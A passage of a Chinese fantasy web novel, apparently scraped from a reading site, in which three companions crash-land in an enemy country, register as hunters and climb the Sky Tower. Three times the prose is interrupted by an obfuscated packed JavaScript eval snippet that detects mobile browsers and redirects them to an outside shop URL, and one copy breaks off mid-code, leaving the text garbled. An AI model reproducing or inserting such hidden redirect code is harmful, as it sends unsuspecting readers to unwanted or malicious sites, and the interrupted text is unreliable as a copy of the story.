在列车走道这种狭窄的公共空间奔跑,明显不够优雅,是粗鲁的行为。一些低头用餐的客人已经皱起了眉头。黄果看着窗外如浪涛般的云朵出神,而游初玥还在向服务员撒娇,讨要晕车药什么的。很难说她是不是真的想要晕车药。 突然,本来有序分向列车两边的云朵,运动轨迹不知怎的变得扭曲,如狂风中的飘带一样张牙舞爪。 咚的一声,推开门的是曹宽。所有人的目光都被他吸引过去,他的脸上写满了恐惧与焦虑。餐车中悠扬的曲调还在继续。曹宽的眼睛在餐车中逡巡,很快看到坐在餐车中部的黄果和游初玥。 黄果看到曹宽焦急地跑向自己,嘴里喊着些什么。服务员不知道为何坐到了游初玥的怀里,惊得花容失色。圆桌上,餐盘带着食物飞向空中。 然后是沉闷的撞击声,整列火车都在震颤。眼前的世界天旋地转。 “暴风来了!”曹宽大声地喊道。 * 黄果恢复意识的时候,是躺在游初玥的大腿上。小姑娘的眼泪吧嗒吧嗒地掉,落到黄果的脸颊和头发上。 “哭什么,傻丫头。”我们才认识几天,你就哭哭啼啼的。黄果仍有些胸闷,好不容易才憋出这句话。 游初玥喜出望外,也顾不上擦眼泪,大声喊道:“曹大哥,黄果醒了。” 曹宽小跑着赶了过来,问:“你怎么样,身体有没有哪里不舒服。” “就是胸有些闷,其他的还好。”黄果在游初玥的帮助下坐起身,环顾四下,列车车厢的残骸就在不远处。不过也就只看到了一节车厢。黄果摇了摇头,试图让自己清醒一点,她问道:“究竟发生什么了?” “我们遇上风暴了,列车坠毁。”曹宽说完陷入了沉思,不知道在想什么。 “怎么会碰上这样的事。”黄果扶额,她突然想到了那位摔倒在游初玥怀里的服务员,于是问道:“那个服务员怎么样?” 游初玥摇头,道:“她没能撑过来。” “这种程度的风暴,可能是卜拉菲尔斯出了什么变故。”曹宽的面色变得严峻,说:“我们得赶快想办法赶回去才行,大天使可能会有危险。可是这个地界……” “我们落到哪了?” “不认识。”曹宽说:“是从没见过的地貌,这附近也不像有人家户的样子。” “你们看!”黄果指着天空,几乎震惊到失声。天穹之上,是一座颠倒的城市,是黄果再熟悉不过的混凝土森林,是现代化的城市建筑群。川流不息的车辆,摩肩接踵的行人。城市倒悬在天空之中。 难道她就是从那儿掉落到这个世界?这两个世界,究竟又是什么样的关系? 黄果又惊又喜,同时也为疑云所困扰。能看见,或许就意味着能到达,黄果还有重返世界的机会。可是又该如何去? 曹宽同样愁眉不展。 游初玥看着天空怔了怔,怯怯地举起手,说:“我可能知道这里是哪。” 古拉,安彻迪亚的敌国。那场出人意料的风暴,将他们带到了敌对国的境内。“那座倒悬的城市叫做‘天空之镜’,只有古拉才有这种奇特的景象。”游初玥说:“据说人们能在那个世界找到另一个自己。” “有人做到过吗?” “不清楚。毕竟只是传说。” “如果是落到了古拉,那事情就复杂了。”曹宽接过话头,“我们没有财物,也不可能直接返回安彻迪亚,只能先到其他的国家,再中转回到安彻迪亚。但考虑到我们的出发点是古拉,即使中转回去,大概率安彻迪亚也会拒绝让我们入境。” “既然是敌国,这玩意儿大肯定是没用了吧。”黄果掏出兜里的金币,说:“当务之急是先找到城市,想办法生存下来才是真的。” “这个不难。我刚才说了,那样的城市被人们称作‘天空之镜’,那座城市的正下方,就一定有古拉的城市。从‘天空之镜’表现出的规模上看,大概率还是一座不小的城市。” “初玥,你简直是古拉博士。”黄果有些惊讶地看着游初玥,感叹道:“你怎么知道这么多。” 游初玥摸了摸耳垂,忸怩地说:“其实我是古拉人。” “欸?”曹宽张大了嘴,“真的假的?” 三人安葬了那位服务员,然后按照游初玥的指引,向着“天空之镜”的方向前进。约略走了半日,众人便看到了一座高耸入云的高塔。 “原来我们是到了这里。”游初玥恍然大悟,她手指着高塔,回过头告诉黄果与曹宽:“那是天空塔,看样子前面的城市是赛斯特。对我们来说算得上是一个好消息。那是一个只关注结果的城市,不会询问你的出身,他们只在意你能不能创造价值。” 黄果明白游初玥指的是三人眼下身为安彻迪亚人的困境。“既然古拉与安彻迪亚势同水火。初玥,你当初是怎么越过边境到达安彻迪亚的?” “偷渡。”游初玥竖起一根手指,说:“所以接下来,我们要做的第一件事是进入赛斯特,找到帮助我偷渡的那位巫师。” 大约在黄昏时分,三人总算是到达赛斯特。这座城市风格与奥克莫迥异,大多的建筑都很高大,但又都很平均。穹顶式建筑群中,时不时出现一两座圆拱或者柱式的建筑。建筑的外墙没有浮雕或雕塑,也没有绘画。城市的色调素朴单一,红瓦橙墙,街道上铺设的地砖则是暗沉的灰色。 城门处有护卫在站岗,不过形同虚设,根本不会检查入城人的身份。等三人进了城,立刻就知道为什么了。街上的行人几乎都是三到四人成行,全副武装地背着武器,穿着软甲。这样一座城市,城门处的搜查确是可有可无。 游初玥找人问过路以后,带着黄果二人来到一处占卜屋。黄果是最后一个进入的,放下了厚重的门帘,屋内顿时一片漆黑,黄果花了一些时间才适应。 屋内没看到任何人,桌椅陈设倒是打扫得一尘不染。游初玥招呼二人到桌前桌下,她自己坐到中间,伸手扯了扯放在桌面上的铃铛。这个铃铛上似乎有线牵连着其他的铃铛,游初玥这一扯,整个屋子的铃铛都轻脆地得响动起来,将三人环绕在中央。 铃铛声停下来以后,又过了一会儿。桌上的蜡烛亮起微弱的光。 “今天停业了。都几点了,还来敲门。” 占卜屋中响起男人懒散的抱怨声。黄果左顾右盼,却没看着人在哪儿。 “这是巫师的‘天使之力’,”游初玥解释道:“他本人并不在这里。” 一个虚影在烛光中凝聚,坐到了三人的对面。这位被称作巫师的男人,护了很长的头发,刘海搭下来遮住了一边的眼睛,看上去乱糟糟的。一只脚踩到长凳上,身体呈现扭曲的坐姿,嘴里还在不停地咀嚼。 说地痞可能更符合这个形象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482454|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “算事业还是算姻缘?”巫师侧过头,这才发现对面坐着三个人,“哇,你们这种姻缘,算了折寿。” “不是不是。”游初玥赶紧解释。 “加钱也不是不能给你们算。” “是我啊,巫师。你不记得了,游初玥。” “游初玥?”巫师抬手撩开刘海,身体前倾压到桌子上,凑近了些。由于动作过猛虚影还差点消散。 “真的是你。”巫师坐回到长凳上,问:“我不是把你送出去了吗,怎么又回来了?” 游初玥摸了摸脸,道:“这个就说来话长了。” “既然是老顾客,我就给你破例,加一次班。说吧,想做什么?” “我想让你送我们去安彻迪亚。” “你不是才回来?”巫师在三人身上扫视了一遍,说:“三个人的价钱,和一个那可是天差地别。你们有这么多钱吗?” “没有,”游初玥嬉皮笑脸地说,“不如您给我门介绍个来钱快的活呢。” 虚影一下消散,如流星那般四散,飞到游初玥身后,又重现。“小初玥,你是把我当中介了,还是当老妈子了。” “帮帮忙嘛,”游初玥嘿嘿一笑,“巫师大人。” 虚影散开,在半空中凝聚。巫师侧躺着,一只手支撑着头部,问:“四方街的面包店收几个店员,干不干?” “工资太低了,不做。”游初玥鼓起腮帮子:“你是想让我卖面包到六十岁,成老婆婆了再送我走吗?” 巫师被逗得咯咯笑,从天空落下。围着三人转了一圈,说:“钟鼓楼的听月庭招收模特,我看你和你的朋友都能干。只要穿穿衣服拍拍照就行,收入也不差,如何?” “不做。”游初玥一口回绝:“我这两个朋友虽然都是俊男靓女,但是不方便露面。别到时候搞得太出名了下不来台。” “你倒是自信。”巫师一下子闪现到游初玥面前,几乎脸贴脸。吓得游初玥后仰,差点从长凳上摔下去,还好黄果用手扶住了她的后背。巫师眯起眼睛,慢慢远离,又退后到空中,说:“不过你说的也有道理。” “巫师大人,你能不能认真点。”游初玥抱怨道,“就不能来点那种又轻松,又能一夜暴富的活计吗?” “想得美,有那生意我自己做了,”巫师白了她一眼,道:“还轮得到你?” “那你也来点靠谱的,”游初玥说:“我们急着走。” 巫师在空中盘起腿,捂着嘴巴想了想。半晌之后,说:“高回报的活倒是有一个,不过不轻松。” “不妨说来听听。”曹宽第一次发声。 巫师看了看曹宽,伸出一根手指指向他,说:“你这家伙,很强吧?有你在的话,倒也不是不可能。” “我们三个很强的,你尽管说。”游初玥偷瞄了一眼曹宽和黄果,挺直了腰杆高声宣告道。 “有一位客人想要购置一枚‘魔核’,她给出的价格足够让你们三人偷渡。” “魔核?”黄果不解地看向游初玥。 “足够强大的夜魔,死后会留下一枚晶石核心。”游初玥解释道:“核心里往往保存了一部分夜魔的能力。” “那样的晶石,我倒是有一块。”黄果说罢便从包中取出了一枚淡紫色的石块,那是她在庇护所击杀夜魔所得。 屋内的其他三人明显都有些惊讶,没想到黄果立刻就能拿出一枚魔核。巫师凑近了端详那枚在黄果手心中的晶石,片刻之后又回到空中,感叹说:“没想到姑娘你这么厉害。只可惜这块魔核只能算次品中的次品,而且也不是我的客人需要的魔核。” “这块魔核,有这么差吗?”黄果不解地问道。 “我没看错的话,这个夜魔应该是有着类似于自残的能力。在敌我之间建立连接,然后共享彼此受到的伤害。” “没错。” “对于夜魔来说,这可能还算不错的能力,因为他们有恐怖的自愈能力。但是对于我们人类来说,这个能力的代价和风险都实在是太大了。” “那位客人,想要的是什么样的晶石?” “那位客人有着很简单、朴素的愿望,她希望可以得到永葆青春的晶石。” “你既然向我们提出这桩生意,也就是说你知道有这个能力的魔兽在哪?” “没错。”巫师回到了座位上,正襟危坐,“我必须事先说明,这是一件很危险的委托。不是这个夜魔本身危险,而是为了找到这个夜魔,你们需要深入到极其危险的环境中去。” 黄果三人互相对视,了解了彼此的决心。黄果说:“请说吧,巫师。我们在哪儿才能找到这只能够永葆青春的夜魔。” 巫师将右手摊平放到了桌面上,他的手心之中生出一道建筑的虚影。那是一座不断向上生长的高塔。 “天空塔。” 9. 第 9 章 游初玥向巫师赊了一笔钱,也许说是抢更符合事实一些。游初玥在占扑屋里翻箱倒柜,把他这几日占扑得来的钱都搜刮走了。 “请从我们最终的报酬里扣除吧!”游初玥说。 巫师只有一道虚影在占卜屋中,只能眼睁睁地看着游初玥把钱都塞进黄果背的包里。气得他把刘海都吹得飞了起来。 游初玥找了家上好的酒店,三人好生地休整了一夜。第二天一早,游初玥就带着黄果二人前往猎人工会做登记。 “用安彻迪亚的常识来解释,其实就是时间海。”清晨街道上没几个人,游初玥索性转过身倒着走,边走边向黄果和曹宽介绍古拉的情况。她伸出两根手指,说:“只是古拉有两座‘监狱’,一座叫做‘天空塔’,一座叫做‘地下城’。很直白的名字吧。和安彻迪亚人对‘监狱’避而远之的态度不同,古拉人更多的是把‘监狱’当作了猎场。” “小心!”眼见游初玥就要撞到人,黄果急忙喊出了声。 游初玥转身堪堪躲过行人。她向着黄果吐了吐舌头,放慢了脚步又走到两人身边,继续说:“通过昨天和巫师的对话,你们应该也发现了,夜魔的晶石核心是一种高价值的可流通商品。古拉的猎人有完善的组织和体系,很多人以狩猎夜魔为生。” “你们说过安彻迪亚是古拉的敌国,如果古拉有这么多人能够以猎杀夜魔为生。那安彻迪亚是靠什么和古拉相抗衡的?” “猎人是猎人,军人是军人。二者不能混为一谈。”游初玥回答道。 “不过历史上古拉的确几乎就要征服安彻迪亚。”一旁的曹宽补充道,“现在的古拉实际上是三个国家的集合。古拉的王——大天使钟选成——体弱多病,却是个战争狂。在他的带领下,古拉军人的铁蹄先后征服了‘英维蒂亚’和‘阿瓦里提’,更是一度推进到安彻迪亚的天使之城。如果不是他病逝了,恐怕现在安彻迪亚也不复存在了。” “‘如果不是他的病,他本可以成为世界的王’,古拉一直流传着这样一句话。那场病是古拉一代人的遗憾。”游初玥接过曹宽的话,继续说:“所以这么多年过去,现在古拉已经是医学之国。世界上没有古拉医生治不好的病,如果有,那其实病人可以直接回家准备棺材了。” 言语间,几人已经到了猎人工会的大厅。想要进入天空塔或地下城,就必须要在工会大厅登记成为猎人,并且需要每月按时向工会缴纳费用。相应的,工会也会提供医疗以及紧急救援等等一系列的服务。 一进入大厅,黄果就看见了大厅尽头墙壁上挂着的巨大人物画像。是比较可爱的长相,让人很容易生出亲近感。 “这位便是大天使了。”游初玥低声道。 三人走到画像下方的柜台前。 “您好。”工作人员笑容和善,“请问有什么可以帮到您的?” “我想要注册一只猎人小队。”游初玥出示了可以证明自己古拉人身份的晶石。 工作人员接过晶石,放入一个形状怪异的机器中进行查验。同时,她的目光看向游初玥身后的黄果和曹宽:“这两位是?” “她们是我的随从。” 这是昨天夜里三人讨论后定下的方案,因为游初玥清楚猎人工会不会对随从的身份进行查验与记录。为了避免身份暴露带来不必要的麻烦,黄、曹二人遂决定以游初玥随从的身份在天空塔行动。 “那只用留下二位的名字就好了。” “我叫曹雪明。” 黄果想了会儿,说:“我叫Π。” “您这边想要注册的是攀登者,还是深潜者?”工作人员迅速在记录本上写下了两人的姓名,而后看向游初玥,悉心地解释道:“如果您要前往天空塔,建议注册攀登者。如果是想要前往地下城,那建议您注册深潜者。” “攀登者。” “好的。”工作人员将晶石递还给游初玥,说:“游小姐,我这边没有查询到您所属的猎人联盟。” “没有联盟,我们是个人小队。” “明白。”工作人员点头,“根据条例规定,个人小队必须要配备战士、法士和牧师,并且需要完成我们设置的相关测试。配队不完整的话,我们这边是不会给予通过的。希望您能理解。” “理解。”游初玥点头。 工作人员拿出三张晶石磨制的卡片,上面分别雕刻着刀盾、法杖与莫比乌斯环,对应着刚才所提到的三个职业。“大厅两侧有对应的房间,拿到卡片去排队进行测试即可。” 游初玥接过卡片,三人离开柜台回到大厅中央的位置。 “战士的话,我可以顶上。”曹宽说。 “法士我可以试一试。”自己的“手枪”怎么说是个远程手段,勉强够得着法士。可是这牧师,眼下他们要怎么找。黄果环视了一圈大厅,问:“初玥,昨天‘赊’来的钱能请到一个牧师吗?” “那些穿着统一服装的人,应该是已经加入了某个猎人联盟。”曹宽敏锐地观察到,大厅中的一些人群明显穿着统一的制式服装,那些人一定是已经有了所属的组织。 “那我们就只能从那些穿着和我们一样自由的人里面找了,可是我们不知道每个人都有什么样的能力。”黄果想了想,道:“如果有发布招募公告的地方就好了,不如我们回柜台那里问一下。应该是有这种地方的。” 说着黄果便要返回柜台,游初玥拉住了她的衣角。曹宽和黄果都看向她。 “那个……”游初玥说:“其实我可以的,不过需要一样辅助的工具。” 这倒是出乎了黄果和曹宽的预料。 游初玥从猎人工会大厅离开,去寻找她口中所说的工具。而黄果和曹宽拿了各自的卡片,先一步去排队进行测试了。 大概在快要到正午的时候,黄果从测试间出来时,游初玥和曹宽已经等在那里了。游初玥背着一个黑色的布袋,布袋已经快赶上她的身高,从外形上来判断那像是一个吉他袋。 曹宽接过黄果手里的卡片,说:“我去办理最后的手续。” “这是什么?”黄果问。 “一把晶石吉他,在铸造时混入特定的魔核粉末,以达到将使用者释放的能量成几何倍数放大的效果。”游初玥抬头回忆了一下,说:“你可以把它理解成一个扩音器。” “是很常见的东西吗?” “使用这类武器的猎人和不使用这类武器的猎人,大概七三开吧。毕竟天使是少数,大多数人没有与生俱来的强大力量。”游初玥取下吉他袋,拉开拉链给黄果看了一眼吉他的样子,说: “这个吉他魔核的含量大概在百分之一左右吧,算是一般货色。不过我们现在手里的钱也只能买到这样的了。” “不重吗?”黄果伸手过去试了试,袋子竟意外地轻。 “已经做过特殊的轻量化处理了,不用担心。” “这晶石还真是奇特。”黄果赞叹说:“你的身份证明是晶石做的,工会分发的测试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄果点了点头回应她。实际上,在知道塔顶能够通往“天空之镜”的那一刻,黄果思考的就不是怎样才能快速抵达90层,而是怎样才能登顶了。 * 占卜屋中,景程温坐在巫师对面。只不过与黄果不同,他面对的不是虚影,而是有血有肉的人。 “黑布隆冬,装神弄鬼。” “这么久没见,你就非要骂我两句。”巫师笑呵呵地说。 “你已经见过她了。” “见过了。” “没想到这么快就能到赛斯特。也好,略过了卜拉菲尔斯免去了许多麻烦。” “似乎是在路上出了意外。” “这不是正说明命运站在我们这边。”景程温握拳,道:“我绝不允许世界落到那位大天使的手中。” 巫师沉默了片晌,饶有兴味地打量着景程温。“从前我就想说了,你这家伙真是毒唯啊。” 景程温冷哼一声,道:“那你呢?” “我?”巫师摊手道:“我所做的一切都是为了存续这个世界,不是为了特定的某一个、或者是某一些人。” “可是你和我们走在同一条道路上。” “即使是不同的目标,道路也会有重合的时候。”巫师微笑着回应。 “那就够了。”景程温起身,“既然她已经进入天空塔,我也要去做我该做的事了。” 景程温将将走到门口,手刚要撩起厚实的门帘。巫师问道:“你的力量已经转移过去了吧,一个人能行么?是否需要……” “不用,还有必须由你去完成的任务。”景程温头也不回,他举起由晶石铸造的崭新猎枪:“谢谢你的长枪,我的兄弟。” “祝你好运。” 门帘落下,占卜屋重归于寂。 另一边,远隔万里之外的天空塔下,熙攘的人流中来了三个年轻人。 “滴。”天空塔入口的机械响应晶石胸章发出蜂鸣。 “欢迎您,高塔的攀登者。” 10. 第 10 章 天空塔,46层。 “小心!”曹宽击毙了一只夜魔,可趁他不注意,一只敏捷型的夜魔径直向黄果冲了过去。 黄果抬起手准备射出子弹,肌肉忽然一阵痉挛,痛得她蹲在地上蜷缩起来。千钧一发之际,曹宽赶到挡在黄果的身前硬抗下了夜魔的攻击,然后用仅剩的气力一拳将最后一只夜魔也击毙。 曹宽单膝跪下,猛烈地咳嗽,视线也模糊开去。 “曹宽,”耳边响起黄果的喊声,“初玥,快用通讯晶石呼叫救援。” * 白色的灯光,刷白的墙壁。蓝白条纹的床单、被褥和衣物,还有空气中弥漫的消毒水味。 赛斯特猎人工会医院。 “肋骨和胸骨骨折,按你的体质,大概一个半月就能恢复了。”医生把目光从报告上移开,看向病床边的黄果和游初玥,说:“不用太担心,这所医院里,他这种伤病算是轻的了。” “一会儿专业的护理人员就到了,这一个半月他会负责照顾你。费用的话不用担心,全由猎人工会承担。”医生身后的护士身高将将到医生的肩部,她微微倾斜露出自己的半个身子和脑袋,和三人交代费用的问题。 医生这才察觉到自己遮住了护士,于是向旁边挪了一步。 “谢谢你,医生。”护士的脸上微微泛起红晕,继续向三人说明道:“住院费的话,工会会承担60%,你们只需要支付剩下的那40%就好了。” 等到护士说完,医生又交代了一些饮食方面的注意事项,之后便带着护士离开了。 “抱歉。”曹宽诚恳地说:“是我太心急了,让你们的身体有太大的负担。” “不,应该道歉的是我。”黄果抓着自己左手的手臂,整只左手现在还有些麻木,“是我太贪心了,总想着以我们现在的状态还能再进一步。” 黄果低头,瞥见了游初玥缠满绷带的手指。她甚至还微微握拳,把手指藏到手心。那把晶石吉他斜靠在医院的墙壁上,看上去也没了往日的光泽。 “高塔也好,地宫也好,这种老掉牙的结构,明明我知道该怎么做的。我们早该停下来,提升装备再前进了。都怪我太贪心。”黄果愧疚不已。 “不是的,”游初玥抓住了黄果的手,哭腔已经出来,“都是我不好,我要是更靠谱一点,让你们的身体一只保持在最佳状态也就不会有今天这种事了。” 那泪水在眼眶里打转的模样,手指上绷带的触感,让黄果心碎了一地。 不能让她哭啊。 “是我不够好,才害了曹宽。”黄果握紧了游初玥的手,强打精神对二人说:“这对我们而言是警示和机会。在我们的自信变为自大,在遇到更强大的敌人之前,及时让我们停下,反思自己。” “是啊,初玥。黄果说的没错。我们正好可以利用这个机会停下来,想一想接下来该怎么做。这事一件好事。”曹宽也安慰道:“我们已经很强,你已经很强了,你看其他队伍都是四个人、五个人,甚至更多。我们三个人一样势如破竹啊。” “况且你们也听见了,医生说我的伤放医院里算轻的了。”这句话明显是说给黄果听的,让她不要太过内疚。曹宽露出开朗的笑容,竖起大拇指说:“这一个半月就辛苦大家休息一下,等我回来吧。” 黄果和游初玥在医院待到黄昏,和曹宽一起吃过晚饭,等到他睡下后才离开。 从医院回酒店的路上,黄果一直牵着游初玥的手没有松开。 “你的手还好吗?”游初玥问。 “就是劳累过度了,有点抽筋。”黄果轻描淡写地回答道。 这些日子攻略天空塔频繁地与夜魔战斗,随着反复使用左手的“手枪”——黄果这样命名了这个自己意外获得的能力——黄果也对自身的力量有了新的理解。每次击发“子弹”,她的手臂也会相应地收到一个反馈力。类比于枪械,那就是会受到一个后坐力。击发的能量越高,这种后坐力越强,对身体的消耗也就越大。 在最后一次战斗中。因为她试图提高输出的能量,这才导致本就疲累的身体超负荷,最终彻底失控。尽管曹宽没有将问题归咎于她,黄果还是自责于自己不够可靠。 如何控制这种消耗,在身体的承受范围内,尽可能地提升输出强度和次数?在医院时,黄果就在思考这个问题了。 “初玥,”黄果问:“我们这些日子售卖魔核攒下钱,刨除掉给曹宽交纳住院费的部分,剩下的钱还够买装备吗?” “按照现在的市价,”初玥掏出记账本,查看了之后说道:“我是牧师可以不用,如果要给你喝曹宽配齐中等水平的防御装备,勉勉强强拼凑个一套半出来。” “这样啊,那差得有些远了。要努力了呀。”黄果沉吟片刻,又问:“你之前说过的哪个扩音器,我也能用吗?” “黄果你是天使吧?”游初玥看着黄果眨了眨眼睛,说:“虽然我没见过你在使用能力时展开翅膀,但那种强度的能力,应该是天使才对。” “姑且算是吧。”以这个世界的标准来分类,自己算是什么呢?黄果自己也拿不准。 “天使的话,‘扩音器’是没用的。” “为什么?” “如果你的声音足够小,那扩音器的确可以完美发挥作用,让你发出的声音更响亮,也传得更远。但如果声音一开始就是有一台有足够高音量的音响发出,你给这台音响配上一个扩音器,是不会有什么效果的。不如说适得其反,破坏了本来纯净的音质。” 黄果略微思索了一会儿,又问道:“那如果反过来呢?” “反过来?” “对,不是把一个东西放大,而是尽可能地削减。就像消音器一样。” “消音器?”游初玥不明所以。 黄果这才突然反应过来过来,自己在庇护所时做过了解,这个世界是没有手枪的。除了单发猎枪以外,手枪、机枪、狙击、坦克,这些现代社会战争的产物一概没有。 这个世界与她从前所认知的世界,在发展的方向上,总是在意想不到的地方有着一些区别。用着老式旋转拨号电话机,却又有能够在天空的飞驰的火车。需要对抗夜魔,却迟迟没有出现强力的热兵器技术。黄果只能猜测,没有热兵器的原因是这个世界的人有超能力。但这也只能止步于猜测,没法验真,也没法证伪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482456|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有发展出手枪,自然也不会有随之而生的消音器。 黄果换了个说法:“你的吉他,作用是放大。那有没有对应的技术,可以做到缩小。” 游初玥陷入了深思。 “初玥,”黄果说,“我想见一见打造这把吉他的匠人。” * “缩小?”匠人是个魁梧的光头男人,正全身贯注打造兵器的他头也不抬,说道:“真是个怪人,我还第一次听说有人要买能削弱自己力量的武器。” “并不是简单的削弱力量。”黄果看了一圈匠人的屋子,走到柜台边上,抄起铁锤砸向台面,几乎和匠人的动作一致。 游初玥目瞪口呆,她下意识地抬起手但已经完全来不及阻止。只能眼睁睁看着黄果将柜台砸破出一个大大的窟窿。 精准的时机,促成了精妙的锤击的二重奏。 “我们击打物件的同时,手也会感受到震动,这是因为物件也反馈了一个力给我们。我们称之为作用力与反作用力。” “这倒是有趣的理论。”匠人看着自己发麻的右手,这个行为和言语都透露着怪异的姑娘成功引起了他的注意。匠人放下铁锤,道:“是你自己想出来的吗?” “是我家乡的一个……”黄果顿了一下,说:“嗯,姓牛的天使提出来的。” “我猜猜看,”匠人摊开右手手掌,“你是想要削减返回来的这股能量。” “能量不会凭空消失,削减只是一种更简单的说法。”黄果见匠人已经来了兴趣,开始详细阐述自己的设想:“实质上是储存与转化。” “储存与转化。” “没错。把这部分能量储存起来,再将它转化为其他形式的能量发散出去,最大限度降低反馈到我们自身的能量。也就是减震器。” “减震器。”匠人来回抚摸自己的下巴,已经完全陷入了对黄果所提理论的想象之中。 一旁的游初玥在检查自己的钱包,带出来的钱大部分交到了医院,她不知道剩下的还够不够赔偿匠人。 “有趣,的确是有趣的想法。这也是那位牛天使提出来的?” “不,这很难说是谁提出来的。是很多人的成果组合在一起,得到了这样的结论。” “很有趣,但是很可惜。”匠人指向自己屋子里陈列的兵器,说:“如你所见,我目前的人生之中都在钻研如何将人的力量最大限度放大。储存也好,发散也罢,都不是我的所长。很遗憾我帮不到你。” 果然吗?不会这么顺利。黄果诚恳地说:“多谢了。” 游初玥怯怯地递钱币过去,问:“不好意思啊老板,这里不知道够不够赔?不够的话我再回酒店去取。” “欸,很愉快的一次交谈,赔钱就不必了,一个柜台而已。”匠人豪爽地钱币挡了回去,他看向二人说道:“虽然说我帮不了你们,但是我知道地下城有一个匠人,他很喜欢捣鼓这些稀奇古怪的东西,也许可以帮上你们的忙。” “地下城。” “地下城第16层,郑津梁。去找他吧。”匠人竖起大拇指,露出两排和肤色迥异的雪白的牙齿:“我很期待你们会取得怎样的成果。” 11. 第 11 章 地下城并不是传统意义上的地下迷宫,而是与天空塔类似,每一层有其独特的生态,本质上每一层便是一个次元空间。这也就导致每一层的夜魔都有其独特性,能够获取的魔核截然不同。 此刻,在地下城第16层,某处原野。河流边的石头缝里,零星地生出了一些结着粉白色果实的藤蔓。仔细看的话,会发现藤蔓中间有一只通体赤红的鸟,正在啄食果实果腹。 每吃一口,赤鸟就抬起头来四处张望一次,机警异常。 “那就是‘二形鹊’,体型小速度快,很难抓捕,因此价值也高。”游初玥小声说,“你确定我们要抓它吗?” 草丛中,黄果和游初玥隐蔽地匍匐着,谨慎地观察着远处二形鹊的动向。 “你不是说能够卖很多钱吗?既然都遇到了,怎么能不试一试。”黄果聚精会神地望着前方,道:“不过距离还差一点。” “市场价的确够高,但是你的手……” “只射击一次,没问题的。”黄果忽地抬起手臂,直直指向赤鸟的方向,“来了!” 二形鹊已经走到了靠近她们的位置,无形的“子弹”穿过草丛,带起窸窣的声音。二形鹊急速上升,速度快到让黄果一时丢失了视野,“子弹”猛地扎入了河流。 “在两点钟方向!”游初玥先一步捕捉到了二形鹊的身影,急忙喊道。 水流深处的“子弹”改变方向,行进轨迹几乎瞬间完成了近90度的调整,直冲二形鹊而去。眼看就要命中,一道箭矢竟抢先贯穿了二形鹊的躯体。 二形鹊顿时失速,掉落到河流的另一侧。 黄果和游初玥唰的从草堆中站起来,二人身上还披着黄果临时用草编的“吉利服”。这场景,活脱脱就是两个稻草人从地上弹了起来。 河流另一侧的树林中,出现四个人影。其中一个莫西干头的男人不屑地说道:“真是蠢材,弄出这么大的动静,差点让它跑掉了。” 另外的三人,分别是魁梧的光头男人,束起高马尾的女人和穿着披风拿着复合弓的长发女。刚才那支箭矢,毫无疑问是这个长发女射出来的。 “穿的什么,这么滑稽。”高马尾女人打量一番黄果二人的装束,吆喝道:“喂,你们两个。你们看到了吧,是我们的箭先射穿了二形鹊,所以它是我们的了。你们最好乖乖离开,别打什么歪主意。” 拿着复合弓的女人始终神情淡然,眼睛甚至都没有看向二人。 “你们不讲道理。”游初玥据理力争,“我们在这里蹲了好久了,你们不添乱我们也能把二形鹊射下来。” “你们搞搞清楚。是你们差点吓跑了二形鹊,我们才不得不出手,否则我们是打算跟着它,找到这畜牲的巢穴一锅端的。” 不知是不是中间隔开两批人马的河道给了游初玥安全感,她寸步不让,一点不怵地怼了回去:“你胡扯,刚编好的故事吧!” “你这丫头片子,别不识相!” “嗯……”这时一直沉默不语的光头男人发出了疑惑的声音,“这个胸章,是天空塔的攀登者。两个人吗?” “哦,原来是天空塔来的土包子。”莫西干男人瞧见了二人的胸章更来劲了,讥讽道:“一帮拿着攻略都不能通关的家伙,地下城不是你们能来的地方,早点回你们的天空塔去吧,我可不想在拍卖会上见到你们的武器。” 游初玥正欲反唇相讥,却被横生的变故吓得噤了声。河道对岸,那只二形鹊的身形不断膨胀,羽毛颤动着变为光亮的黑色,生出尖牙与利爪,变成了10米高的巨鸟。成了真正意义上的魔兽、凶兽。 二形鹊在无声中完成了这一切变化。莫西干男人和高马尾女人明显没能察觉,甚至高马尾女人还在帮腔:“我说呢,地下城不可能有这么傻里傻气的人。” 拿着复合弓的女人更加敏锐,她先一步察觉到了异变,猛地转身改变了架势,喊道:“小心!那家伙没死!” 其余三人的脸色突变,电光石火间转身摆出了战斗的姿态。看着面前高大的凶兽,莫西干男人额头上渗出了细密的汗珠。他这时想到背后还有两个猎人,于是急忙招呼道:“喂,你们两个,我们一起上。” 可是他并没有得到回应。“魔核也可以分你们一部分。”莫西干男人着急忙慌地看向自己的身后,那两个不知道姓名的猎人早没了影。 * 二形鹊刚刚变化形态,黄果就拉着游初玥头也不回地跑了。 这一通跑,累得游初玥上气不接下气。转头看向来时的路,她心有余悸地问道:“跑出来这么远,应该不会有事了吧?” “差不多了,那几个人看着挺强,”黄果擦了擦汗水,“说不定这会儿都解决了。” 游初玥呼吸稍稍平复了些,她两手撑着膝盖,抬眼看向黄果,问:“我们这样真的好吗?” 黄果替游初玥捋了捋两鬓的发丝,说:“他都说二形鹊是他的,那还说啥了。君子有成人之美,上天有好生之德,没什么问题。” “这二形鹊,总觉得有些邪门。” 